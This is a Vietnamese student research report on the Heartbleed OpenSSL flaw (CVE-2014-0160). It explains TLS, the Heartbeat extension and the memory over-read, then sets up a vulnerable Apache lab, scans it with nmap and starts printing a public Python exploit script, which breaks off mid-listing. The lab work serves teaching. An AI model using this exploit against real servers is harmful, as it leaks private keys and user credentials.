Tải bản đầy đủ (.doc) (32 trang)

Tìm hiểu lỗ hổng bảo mật Heartbleed Đề tài nghiên cứu khoa học

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (573.4 KB, 32 trang )

Mục lục
Mục lục............................................................................................................................................1
CHƯƠNG 1. TỔNG QUAN............................................................................................................2
1. Lỗ hổng Heartbleed.....................................................................................................................2
2. Độ nguy hiểm của lỗ hổng Heartbleed........................................................................................3
3. Tác động của Heartbleed trên phạm vi toàn cầu..........................................................................4
CHƯƠNG II. HEARTBLEED ATTACK........................................................................................6
1. Cơ bản về mã hoá SSL/TLS........................................................................................................6
2. Heartbeat Extension...................................................................................................................10
Chương III. Demo..........................................................................................................................16
1. Xây dựng lab phục vụ cho demo...............................................................................................16
2. Thực hiện tấn công:....................................................................................................................24
3. Khắc phục lỗ hổng Heartbleed và hậu quả do lỗ hổng gây ra...................................................29
IV. TỔNG KẾT..............................................................................................................................31
TÀI LIỆU THAM KHẢO.............................................................................................................31


CHƯƠNG 1. TỔNG QUAN
1. Lỗ hổng Heartbleed

Hình 1: Heartbleed Logo

Lỗ hổng Heartbleed là một lỗ hổng nghiêm trọng trong thư viện phần mềm mã hoá
phổ biến là OpenSSL. Điểm yếu này cho phép ăn cắp những thông tin đã được bảo
vệ, trong điều kiện bình thường, bởi mã hoá SSL/TLS được sử dụng để đảm bảo an
toàn cho Internet. SSL/TLS cung cấp an toàn thông tin liên lạc và sự riêng tư trên
Internet cho các ứng dụng như web, email, tin nhắn tức thời (IM) và một số mạng
riêng ảo (VPNs).
Lỗ hổng Heartbleed được độc lập tìm ra bởi nhóm các chuyên gia bảo mật (Riku,
Antti, Matti) tại công ty Codenomicon, trong quá trình nâng cấp tính năng
SafeGuard của công ty quét lỗi bảo mật Defensics. Lỗ hổng được công bố vào


ngày 7 tháng 4 năm 2014 với CVE-2014-0160.


2. Độ nguy hiểm của lỗ hổng Heartbleed

Hình 2: Độ nguy hiểm của lỗ hổng Heartbleed

Lỗ hổng Heartbleed cho phép bất kỳ ai trên Internet đọc bộ nhớ của hệ thống được
bảo vệ bằng điểm yếu trên một vài phiên bản của phần mềm OpenSSL. Điều này
gây ảnh hưởng đến các khoá bí mật được sử dụng để xác định các nhà cung cấp
dịch vụ và mã hoá đường truyền, tên đăng nhập và mật khẩu của người dùng và
các nội dung thực tế. Nó cho phép kẻ tấn công nghe trộm các thông tin liên lạc,
đánh cắp dữ liệu trực tiếp từ các dịch vụ và người dùng và để mạo danh các dịch
vụ và người dùng.
Bruce Schneier, nhà mật mã học nổi tiếng đánh giá lỗi Heartbleed “Nếu theo thang
điểm từ 0 tới 10, tôi sẽ đánh giá tính nguy hiểm của điểm yếu này là 11”. Do đó,
người dùng cần ngay lập tức update chương trình OpenSSL, thay đổi khóa, dùng
các chứng chỉ an toàn mới, thay đổi mật khẩu trên tất cả các website vì trong vòng
2 năm qua điểm yếu có thể đã được khai thác và sử dụng bởi những kẻ xấu.


Cũng đã có các bằng chứng cho thấy việc quét bộ nhớ của các máy chủ sử dụng
điểm yếu này đã xuất hiện từ năm 2013. Điều này chứng tỏ rằng, ai đó đã biết đến
điểm yếu này từ trước đó.
Sau một vài ngày công khai về lỗ hổng bảo mật này, chuyên gia lập trình người
Đức, Robin Seggelmann đã nói: chính anh ta, ngày 01/01/2012 đã đề xuất mã mở
rộng Heartbeat cho giao thức TLS (RFC 6520) và một trong các tiến trình của nó
đã không thực hiện việc kiểm tra các giới hạn cần thiết.
Seggelmann cũng nói rằng, việc bỏ sót lỗi này trong đoạn mã là do sơ xuất, anh ta
và cả nhóm kiểm tra chương trình đã để cho mã này đi vào hoạt động mà không

nhận ra lỗi. Việc kiểm tra giới hạn này lẽ ra phải được thực hiện theo các nguyên
tắc xây dựng mã nguồn mở.
Robin Seggelmann là một trong những chuyên gia lập trình nổi tiếng trong thế giới
mã nguồn mở. Sau sự việc này, Robin Seggelmann hy vọng nhiều chuyên gia sẽ
quan tâm và tham gia vào việc hạn chế cũng như nhanh chóng phát hiện các lỗi
trong các dự án mã nguồn mở.
3. Tác động của Heartbleed trên phạm vi toàn cầu
OpenSSL là thư viện mã hoá phổ biến nhất được sử dụng trên máy chủ web
Apache và Nginx, sử dụng dịch vụ bảo mật tầng giao vận (TLS) tên là Heartbeat một phần mở rộng được thêm vào TLS vào năm 2012. Theo nghiên cứu của
Netcraft (năm 2014) thì pache và Nginx chiếm 66% dịch vụ máy chủ sử dụng trên
các trang web đang hoạt động trên Internet.
Ngoài ra, OpenSSL còn được sử dụng để bảo vệ máy chủ email, máy chủ tin nhắn
(giao thức XMPP), mạng riêng ảo (SSL VPN), thiết bị mạng và rất nhiều phần
mềm khác.


Nhà nghiên cứu bảo mật Robert Graham đã thực hiện việc “quét Internet” và phát
hiện ra có hơn 600.000 máy chủ bị lỗi Heartbleed, bao gồm cả yahoo.com,
mgur.com, flickr.com, hidemyass.com. Do lỗi Heartbleed mà Cơ quan Thuế
Canada phải tạm dừng dịch vụ thu thuế điện tử và dịch vụ Soundcloud cũng phải
đăng xuất tất cả người dùng để sửa lỗi bảo mật này. Yahoo với hơn 800 triệu người
dùng cũng gặp phải lỗi này.

Hình 3: Phạm vi ảnh hưởng của lỗ hổng Heartbleed


CHƯƠNG II. HEARTBLEED ATTACK
1. Cơ bản về mã hoá SSL/TLS
SSL/TLS được sử dụng chính để mã hoá dữ liệu bí mật gửi đi thông qua một mạng
lưới không an toàn ví dụ như Internet. Trong giao thức HTTPS, SSL/TLS được sử

dụng để mã hoá bao gồm URL, HTTP header, cookies và dữ liệu được nhập vào
thông qua các mẫu. Một trang web được đảm bảo an toàn với SSL/TLS có một
URL bắt đầu với "https://".
Giao thức bảo mật SSL/TLS hoat động giữa lớp ứng dụng và lớp giao vận, nơi mà
nó có thể bảo mật, sau đó gửi dữ liệu ứng dụng tới tầng giao vận. Vì SSL/TLS làm
việc giữa lớp ứng dụng và lớp giao vận, SSL/TLS có thể phục vụ rất nhiều giao
thức tầng ứng dụng.
Giao thức SSL/TLS có thể được chia thành 2 lớp nhỏ hơn. Lớp đầu tiên là lớp giao
thức bắt tay, lớp này chứa ba giao thức nhỏ: giao thức bắt tay, giao thức chuyển
đổi mã đặc tả, và giao thức cảnh báo. Lớp thứ hai là giao thức bản ghi.


a, Lớp bắt tay
Lớp bắt tay chứa ba giao thức nhỏ:
- Bắt tay: được sử dụng để dàn xếp thông tin phiên giữa máy trạm và máy chủ.
Thông tin phiên chứa một định danh phiên (session ID), chứng chỉ ngang hàng, đặc
tả bản mã được sử dụng, thuật toán nén được sử dụng và những bí mật chia sẻ
được sử dụng để tạo khoá.
- Chuyển đổi mã đặc tả: được sử dụng để thay đổi dữ liệu tạo khoá sử dụng để mã
hoá giữa máy chủ và máy trạm. Dữ liệu tạo khoá là dữ liệu thô được sử dụng cho
tạo khoá mà quá trình mã hoá sử dụng. Giao thức chuyển đổi mã đặc tả bao gồm
một thông điệp duy nhất để nói với bên kia trong một phiên SSL/TLS, hay cũng
được gọi là một ngang hàng, khi người gửi muốn thay đổi một tập khoá mới. Khoá
sẽ được tính toán từ thông tin trao đổi bằng giao thức bắt tay.
- Cảnh báo: tin nhắn cảnh báo được sử dụng để biểu thị một thay đổi trong trạng
thái hoặc một lỗi điều kiện tới bên ngang hàng. Có rất nhiều dạng của các cảnh báo
để nhắc nhở bên ngang hàng của khi bình thường và lỗi điều kiện. Danh sách đầy
đủ có thể tìm thấy ở RFC 2246: "Giao thức TLS phiên bản 1.0". Cảnh báo phổ biến
gửi khi kết nối bị đóng, nhận được một tin nhắc không xác định, một tin nhắn
không thể giải mã, hoặc người dùng thoát ứng dụng.

Chức năng của giao thức bắt tay:
Giao thức bắt tay cung cấp một số chức năng bảo mật vô cùng quan trọng. Nó thực
hiện một chuỗi trao đổi bắt đầu xác thực và thoả thuận mã hoá, mã băm, và thuật
toán nén.
* Xác thực:
Với mục đích xác thực, giao thức bắt tay sử dụng chứng chỉ X.509 để cung cấp


chứng cứ mạnh tới bên thứ hai, giúp định danh bên giữ chứng chỉ và mã bí mật
tương ứng. Một chứng chỉ là một dạng định danh số mà thường được đảm bảo bởi
cơ quan chứng thực (CA) và chứa thông tin định danh, thời hạn có hiệu lực, khoá
công khai, một chuỗi số, và chữ ký số của người phát hành.
Một CA là một tổ chức thứ ba đáng tin cậy mà xác nhận định danh của một người
yêu cầu chứng chỉ (thường là một người hay một máy tính), và cung cấp cho người
yêu cầu một chứng chỉ. Chứng chỉ liên kết định danh của người yêu cầu với một
khoá công khai. Các CA cũng cấp mới và thu hồi các chứng chỉ khi cần thiết.
* Mã hoá:
Có hai loại mã hoá chính: khoá đối xứng ( cũng được biết đến như khoá bí mật) và
khoá bất đối xứng ( cũng được biết đến như khoá công khai và khoá bí mật).
SSL/TLS sử dụng cả mã hoá khoá đối xứng và khoá bất đối xứng.
- Khoá đối xứng: trong mã hoá khoá đối xứng, khoá giống nhau được sử dụng để
mã hoá và giải mã tin nhắn. Nếu cả hai phần muốn trao đổi tin nhắn đã được mã
hoá an toàn, chúng cần sở hữu một khoá đối xứng giống nhau. Mật mã khoá đối
xứng thường được sử dụng cho mã hoá lượng lớn dữ liệu vì quá trình tính toán
nhanh hơn so với mật mã khoá bất đối xứng. Thuật toán cơ bản bao gồm DES
( Data Encryption Standard), 3-DES (Triple DES), RC2, RC4 và AES (Advanced
Encrypt Standard).
- Khoá bất đối xứng: Khoá bất đối xứng hay mà mã hoá khoá công khai sử dụng
một cặp khoá mà có nguồn gốc với nhau thông qua một quá trình tính toán phức
tạp. Một khoá được công khai, thường bằng cách hỏi CA để xuất bản một khoá

công khai trong một chứng chỉ cho người giữ chứng chỉ ( cũng được gọi là một chủ
thể). Khoá bí mật được giữ bí mật bởi chủ thể và không bao giờ chia sẻ cho bất kỳ
ai. Các khoá làm việc cùng nhau, với một được sử dụng cho quá trình trái ngược


nhau: Nếu khoá công khai được sử dụng để mã hoá dữ liệu, chỉ có khoá bí mật của
cặp khoá có thể giải mã nó; nếu khoá bí mật được sử dụng để mã hoá, khoá công
khai được sử dụng để giải mã. Mối quan hệ này cho phép chương trình mã hoá
khoá công khai làm hai việc quan trọng. Đầu tiên, bất kỳ ai có khoá công khai của
một chủ thể và sử dụng nó để mã hoá dữ liệu mà chỉ người dùng với khoá bí mật
có thể giải mã. Thử hai, nếu một chủ thể mã hoá dữ liệu sử dụng khoá bí mật, bất
kỳ ai cũng có thể giải mã dữ liệu bằng sử dụng khoá công khai đúng đắn. Cái này
là nền tảng cho chữ ký số. Thuật toán phổ biến nhất là RSA (Rivest, Shamir và
Adleman).
SSL/TLS sử dụng khoá công khai để xác thực một máy chủ tới một máy trạm, và
không bắt buộc máy trạm tới máy chủ. Mật mã khoá công khai cũng được sử dụng
để thiết lập một khoá phiên. Khoá phiên được sử dụng trong thuật toán đối xứng để
mã hoá khối lượng lớn dữ liệu. Điều này kết hợp lợi ích của mã hoá bất đối xứng
cho xác thực nhanh hơn, ít xử lý chuyên sâu cho mã hoá khoá đối xứng với khối
lượng lớn.
* Thuật toán băm
Trong quá trình bắt tay, thuật toán băm cũng được thảo thuận. Một băm là một ánh
xạ một chiếu của một giá trị cho một tập nhỏ giá trị cung cấp ban đầu, cũng như
kích thước của kêt quá băm là nhỏ hơn tin nhắn ban đầu và băm là duy nhất cho dữ
liệu nguyên thuỷ. Một băm giống với một vân tay: một vân tay là duy nhất cho một
người và nhỏ hơn so với thân thể con người. Quá trình băm được sử dụng để thiết
lập tính toán vẹn của dữ liệu trong khi chuyển đi. Hai thuật toán băm phổ biến nhất
là MD5 (Mesage Digest) và SHA-1 ( Standard Hash Algorithm 1). MD5 cung cấp
một giá trị băm 128 bit và SHA-1 cung cấp một giá trị 160 bit.
Thuật toán băm bao gồm một giá trị được sử dụng để kiểm tra tính toàn vẹn của dữ

liệu trao đổi. Giá trị này được thiết lập sử dụng một MAC hoặc một HMAC. MAC


sử dụng một chức năng ánh xạ để biểu diễn dữ liệu tin nhắn dưới dạng độ dài cố
định, tốt hơn là nhỏ hơn, tính toán sau đó băm tin nhắn. MAC đảm bảo rằng dữ
liệu sẽ không bị thay đổi trong quá trình truyền thông. Sự khác nhau giữa MAC và
chữ ký số là một chữ ký số cũng là một phương pháp xác thực. SSL sử dụng MAC.
HMAC cũng giống với MAC nhưng sử dụng một thuật toán băm kết hợp với khoá
bí mật. Khoá bí mật được thêm vào dữ liệu để băm. Điều này làm cho băm an toàn
hơn vì cả hai bên cần có giống khoá bí mật để chứng minh dữ liệu là xác thực. TLS
sử dụng HMAC.
b, Lớp bản ghi
Giao thức tại lớp bản ghi nhận và mã hoá dữ liệu từ lớp ứng dụng, sau đó chuyển
nó tới lớp giao vận. Giao thức bản ghi phân mảnh dữ liệu tới một kích thước phù
hợp với thuật toán mã hoá, tuỳ chọn nén nó (hoặc với dữ liệu nhận được thì giải
nén nó), gắn vào một MAC hoặc HMAC (HMAC chỉ được cung cấp bởi TLS) sau
đó mã hoá (hoặc giải mã) dữ liệu sử dụng thông tin thoả thuận trong giao thức bắt
tay.

2. Heartbeat Extension
HeartBeat Extension được thiết kế cho Transport Layer Security (TLS) và
Datagram Transport Layer Security (DTLS). DTLS đưcọ thiết kế để bảo vệ cho
giao thức gửi không tin cậy. Thông thường, các giao thức dạng này không có quản
lý phiên. Cơ chế này chỉ khả dụng nếu ở lớp DTLS tìm ra một đối tượng còn sống.
TLS thì dựa trên giao thức đáng tin cậy. Tuy nhiên nó không phù hợp để giữ kết
nối sau khi quá tình truyền tin kết thúc.
Heartbeat Extension ra đời nhằm khắc phục những nhược điểm trên. Người dùng
sẽ sử dụng một tin nhắn HeartbeatRequest gửi đến các máy khác để kiểm tra và sẽ
nhận lại được một tin nhắn HeartbeatResponse.



a. Heartbeat Hello Extensions
Sự hỗ trợ của Heartbeats được thể hiện với Hello Extensions. Một ngang hàng
không chỉ có thể chỉ ra việc hỗ trợ của Heartbeats, nó cũng có thể lựa chọn nó sẵn
sàng nhận thông điệp HearbeatRequest và hồi đáp với HeartbeatResponse hoặc chỉ
sẵn sàng để gửi thông điệp HeartbeatRequest. Các dạng được chỉ ra bằng cách sử
dụng peer_allowed_to_send như là HeartbeatMode; sau này đã được chỉ định bằng
sử dụng peer_not_allowed_to_send như HeartbeatMode. Quyết định này có thể
thay đổi mỗi khi có sự thoả thuận lại. Thông điệp HeartbeatRequest không phải để
gửi tới một ngang hàng để chỉ ra peer_not_allowed_to_send. Nếu một thiết bị đầu
cuối đã chỉ ra peer_not_allowrd_to_send và nhận được một thông điệp
HeartbeatRequest, nó nên xoá bỏ thông điệp nhận được một cách âm thầm và có
thể gửi lại thông điệp cảnh báo unexpected_message.
Định dạng của Heartbeat Hello Extension được định nghĩa bởi:
enum {
peer_allowed_to_send(1),
peer_not_allowed_to_send(2),
(255)
} HeartbeatMode;
struct {
HeartbeatMode mode;
} HeartbeatExtension;
Sau khi nhận được một chế độ không rõ ràng, một thông báo cảnh báo lỗi sử dụng
illegal_parameter như AlertDescription phải được gửi trong hồi đáp.
b. Giao thức Heartbeat
Giao thức heartbeat là giao thức mới, hoạt động trên lớp bản ghi. Giao thức này


gồm 2 loại thông điệp chính là:
• HeartbeatRequest

• HeartbeatResponse
enum {
heartbeat_request(1),
heartbeat_response(2),
(255)
} HeartbeatMessageType;
HeartBeatRequest gần như có thể đến bất kỳ khi nào trong một chu kỳ kết nối. Bất
cứ

một

thông

điệp

HeartBeatRequest

nào

cũng

cần

được



một

HeartBeatResponse tương ứng. Tuy nhiên, HeartBeatRequest không nên gửi trong

quá trình bắt tay, vì nếu quá trình bắt tay diễn ra trong lúc gói tin
HeartBeatRequest đang gửi thì bên gửi phải dừng DTLS.
Sẽ không có nhiều gói tin HeartBeatRequest được gửi trong cùng một thời gian,
một gói tin HeartBeatRequest sẽ hợp lệ nếu bên gửi nhận được một
HeartBeatResponse tương ứng hoặc đến khi thời gian truyền hết hạn.
Khi sử dụng giao thức vận chuyển không đáng tin DCCP hoặc UDP, tin nhắn
HeartBeatRequest sẽ có một khoảng thời gian timeout để truyền lại gói tin, nếu
trong khoảng thời gian timeout mà không nhận được gói tin HeartBeatResponse thì
kết nối DTLS được chấm dứt để bắt đầu gửi lại. Trong các chương trình gửi lại sẽ
có cơ chế để đảm bảo không có nhiều gói tin HeartRequest được gửi cùng một lúc,
đảm bảo việc kiểm soát tắc nghẽn được xử lý thích hợp.
Đối với các giao thức truyền tin đáng tin cậy như Stream Control Tranmission
Protocol (SCTP) hoặc TCP, HeartBeatRequest chỉ cần gửi lại một lần nữa. tầng
giao vận (transport layer) sẽ kiểm soát việc truyền lại. Nếu không nhận được thông


báo HeatBeatResponse trong một thời gian tương ứng thì kết nối DTLS/TLS sẽ
được chấm dứt bởi chương trình gửi gói tin HeartBeatRequest.
c. Tin nhắn Heartbeat Request và Response
Một tin nhắn HeartbeatRequest sẽ bao gồm loại gói tin, payload và padding:
struct {
HeartbeatMessageType type;
uint16 payload_length;
opaque payload[HeartbeatMessage.payload_length];
opaque padding[padding_length];
} HeartbeatMessage;
Chú thích:
• type: loại gói tin (request hoặc response).
• payload_length: độ dài của payload.
• payload: chứa các nội dung tuỳ ý.

• Padding: chứa nội dung ngẫu nhiên sẽ bị bỏ qua bởi người nhận. Độ dài của
một

tin

nhắn

Heartbeat



TLSPlaintext.length

cho

TLS



DTLSPlaintext.length cho DTLS.
Tổng chiều dài của một Heartbeat Messages không được vượt quá 2^14 hay
max_fragment_length được định nghĩa trong RFC 6066. Người gửi các tin nhắn
HeartBeat phải gửi một padding ngẫu nhiên ít nhất là 16 bytes . Padding đã nhận
phải được bỏ qua.
Nếu độ dài payload_length của một tin HeartBeat quá lớn, các tin Heartbeat đã
nhận phải bị bỏ đi. Khi một HeartBeatRequest được nhận hợp lệ thì người nhận
phải gửi một tin HeartBeatResponse tương ứng mang theo một bản sao chính xác
payload của gói tin HeartBeatRequest đã nhận.



Nếu HeartBeatResponse không chứa payload như trong HeartBeatRequest thì nó
phải bị loại bỏ và bộ đếm thời gian để phát lại gói tin sẽ dừng lại.
3. Tấn công Heartbleed
Chuẩn SSL mặc định bao gồm tuỳ chọn “Heartbeat”. Chức năng này rất hữu ích vì
một vài router trên internet sẽ cắt một kết nối nếu thời gian im lặng quá dài. Tóm
lại, giao thức Heartbeat làm việc giống như sau:

Tin nhắn heartbeat gồm có ba phần: một yêu cầu để hỏi, một tin nhắn ngẫu nhiên
(trong ví dụ trên là “banana”), và số ký tự của tin nhắn ngẫu nhiên. Máy chủ sẽ đơn
giản cung cấp lại một hồi đáp theo như yêu cầu nhận được và gửi phản hồi lại cho
máy trạm.
Tấn công Heartbleed lợi dụng việc trên thực tế là các máy chủ tin tưởng khi hồi
đáp. Khi một ai đó nói rằng tin nhắn có 6 ký tự, máy chủ sẽ tự động gửi lại 6 ký tự
trong khi phản hồi. Một người dùng có mục đích xấu sẽ tận dụng tối đa tính cả tin
của máy chủ:


Hiển nhiên, từ “giraffe” không dài 100 ký tự. Nhưng máy chủ không kiểm tra
trước khi gửi lại phản hồi, và nó gửi lại 100 ký tự. Cụ thể, nó sẽ gửi lại 7 ký tự
“giraffe” theo sau là 93 ký tự đã được lưu trữ sau từ “giraffe” trong bộ nhớ của
máy chủ. Máy tính thường lưu trữ thông tin theo một thứ tự lộn xộn trong cố gắng
làm bộ nhớ của nó càng chặt càng tốt, do đó, không thể nói được thông tin nào có
thể được trả lại. Trong trường hợp này, các bit của bộ nhớ đằng sau từ “giraffe”
chứa thông tin cá nhân nhạy cảm thuộc về người dùng John Smith.
Trong tấn công Hearbleed thực tế, kẻ tấn công không chỉ yêu cầu 100 ký tự. Kẻ tấn
công có thể yêu cầu lên đến 64000 ký tự của bản rõ. Và họ không dừng lại ở đây,
họ có thể gửi tin nhắn heartbeat độc hại qua lại liên tục, cho phép họ lấy được
những mảnh khác của bộ nhớ máy chủ mỗi lần. Trong quá trình này, họ có thể đạt
được một lượng lớn dữ liệu mà không bao giờ được công khai.



Chương III. Demo
1. Xây dựng lab phục vụ cho demo
Chuẩn bị:
Mã khai thác: />Máy chủ chứa lỗi: Ubuntu 12.04 LTS />Đầu tiên, chúng ta sẽ cấu hình dịch vụ Apache với SSL phục vụ trên Ubuntu để
khám phá lỗ hổng Heartbleed. Trên máy chủ ubuntu, chúng ta sẽ thực hiện các
bước sau:
• Kích hoạt module SSL và khởi động lại máy chủ web Apache:
root@ubuntu:~# a2enmod ssl
root@ubuntu:~# service apache2 restart

• Tạo thư mục chứa khoá của máy chủ web và chứng chỉ của nó
(/etc/apache2/ssl):
root@ubuntu:~# mkdir /etc/apache2/ssl

• Tạo chứng chỉ và khoá cho máy chủ:
root@ubuntu:/etc/apache2/ssl# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout
/etc/apache2/ssl/webserver.key -out /etc/apache2/ssl/webserver.crt
Generating a 2048 bit RSA private key
..........................................+++
.......................................................+++
writing new private key to 'webserver.key'
----You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
----Country Name (2 letter code) [AU]:VN
State or Province Name (full name) [Some-State]:HN

Locality Name (eg, city) []:Ha Noi
Organization Name (eg, company) [Internet Widgits Pty Ltd]:KMA


Organizational Unit Name (eg, section) []:Education
Common Name (e.g. server FQDN or YOUR name) []:ubuntu.example.com
Email Address []:

• Sau đó chúng ta cần sửa lại tập tin: /etc/apache2/sites-available/default-ssl
như sau:
root@ubuntu:~# ifconfig
eth0

Link encap:Ethernet HWaddr 08:00:27:84:9b:29
inet addr:192.168.43.70 Bcast:192.168.43.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe84:9b29/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:708 errors:0 dropped:0 overruns:0 frame:0
TX packets:486 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:68945 (68.9 KB) TX bytes:65571 (65.5 KB)

lo

Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

root@ubuntu:~# ls -l /etc/apache2/ssl/
total 8
-rw-r--r-- 1 root root 1326 Jan 15 12:55 webserver.crt
-rw-r--r-- 1 root root 1704 Jan 15 12:55 webserver.key
root@ubuntu:~# vi /etc/apache2/sites-available/default-ssl
<IfModule mod_ssl.c>
<VirtualHost _default_:443>
ServerAdmin webmaster@localhost


ServerName 192.168.43.70:443
DocumentRoot /var/www
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny

Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/ssl_access.log combined
Alias /doc/ "/usr/share/doc/"
<Directory "/usr/share/doc/">
Options Indexes MultiViews FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from 127.0.0.0/255.0.0.0 ::1/128
</Directory>
# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on


# A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert package. See
# /usr/share/doc/apache2.2-common/README.Debian.gz for more info.
# If both key and certificate are stored in the same file, only the
# SSLCertificateFile directive is needed.
SSLCertificateFile

/etc/apache2/ssl/webserver.crt

SSLCertificateKeyFile /etc/apache2/ssl/webserver.key


• Kích hoạt VirtualHost:
root@ubuntu:/etc/apache2/sites-available# a2ensite default-ssl
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LC_PAPER = "en_GB.UTF-8",
LC_ADDRESS = "en_GB.UTF-8",
LC_MONETARY = "en_GB.UTF-8",
LC_NUMERIC = "en_GB.UTF-8",
LC_TELEPHONE = "en_GB.UTF-8",
LC_IDENTIFICATION = "en_GB.UTF-8",
LC_MEASUREMENT = "en_GB.UTF-8",
LC_TIME = "en_GB.UTF-8",
LC_NAME = "en_GB.UTF-8",
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
Enabling site default-ssl.
To activate the new configuration, you need to run:
service apache2 reload
root@ubuntu:/etc/apache2/sites-available# service apache2 restart
* Restarting web server apache2

apache2: Could not reliably

determine the server's fully qualified domain name, using 127.0.1.1 for ServerName



... waiting apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName

[ OK ]

Như vậy chúng ta đã hoàn thành cấu hình cho Apache và SSL trên máy chủ, bây đi
đến https://192..168.43.70 để kiểm tra:

Như phía trên chúng ta thấy lỗi gây ra là do chứng chỉ của máy chủ gửi cho trình
duyệt không được xác nhận định danh của site, chúng ta cần thêm nó vào ngoại
lệ.



Máy chủ đang làm việc và chạy máy chủ web Apache phục vụ các kết nối SSL
và chúng ta có thể thực hiện tấn công nó sử dụng lỗ hổng Hearbleed. Để xác định
chắc chắn, chúng ta có thể thực hiện quét máy chủ:
kma@kma-Satellite-C840:~$ sudo nmap -sS -Pn -A 192.168.43.70
Starting Nmap 6.40 ( ) at 2015-01-15 13:26 ICT
Nmap scan report for ubuntu (192.168.43.70)
Host is up (0.00047s latency).
Not shown: 997 closed ports
PORT

STATE SERVICE VERSION

22/tcp open ssh

OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)


| ssh-hostkey: 1024 69:b0:7c:7e:c8:8a:cd:ef:b6:50:03:95:5e:6e:d0:2c (DSA)


| 2048 21:b9:9e:6d:2b:91:3b:c3:a9:d4:e2:63:62:4f:8b:39 (RSA)
|_256 4c:2f:cf:0d:4b:15:20:53:32:60:97:86:23:8b:dc:5f (ECDSA)
80/tcp open http

Apache httpd 2.2.22 ((Ubuntu))

|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|ssl-cert:

Subject:

commonName=ubuntu.example.com/organizationName=KMA/stateOrProvinceName=HN/co
untryName=VN
| Not valid before: 2015-01-15T05:55:41+00:00
|_Not valid after: 2016-01-15T05:55:41+00:00
|_ssl-date: 2015-01-15T06:26:49+00:00; 0s from local time.
MAC Address: 08:00:27:84:9B:29 (Cadmus Computer Systems)
No exact OS matches for host (If you know what OS is running on it, see
).
TCP/IP fingerprint:
OS:SCAN(V=6.40%E=4%D=1/15%OT=22%CT=1%CU=36516%PV=Y%DS=1%DC=D
%G=Y%M=080027%T
OS:M=54B75DA9%P=x86_64-pc-linux-gnu)SEQ(SP=109%GCD=2%ISR=10A%TI=Z
%CI=I%TS=8
OS:)SEQ(SP=109%GCD=1%ISR=10A%TI=Z%CI=RD%II=I

%TS=8)OPS(O1=M5B4ST11NW7%O2=M5B
OS:4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=
M5B4ST11)WIN(W
OS:1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y
%T=40%W=7210%
OS:O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
%RD=0%Q=)T2(R=N)T3(R=
OS:N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y
%T=40%W=0%S=Z%A
OS:=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=
%RD=0%Q=)T7(R=Y%D
OS:F=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
%T=40%IPL=164%UN=0%RIPL
OS:=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)


Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT

ADDRESS

1 0.47 ms ubuntu (192.168.43.70)
OS

and

Service


detection

performed.

Please

report

any

incorrect

results

at

.
Nmap done: 1 IP address (1 host up) scanned in 30.38 seconds

2. Thực hiện tấn công:
Chúng ta có mã khai thác được công khai viết bằng Python:
#!/usr/bin/python
#

Quick

and

dirty


demonstration

of

CVE-2014-0160

by

Jared

Stafford

()
# The author disclaims copyright to this source code
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat
vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00

00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
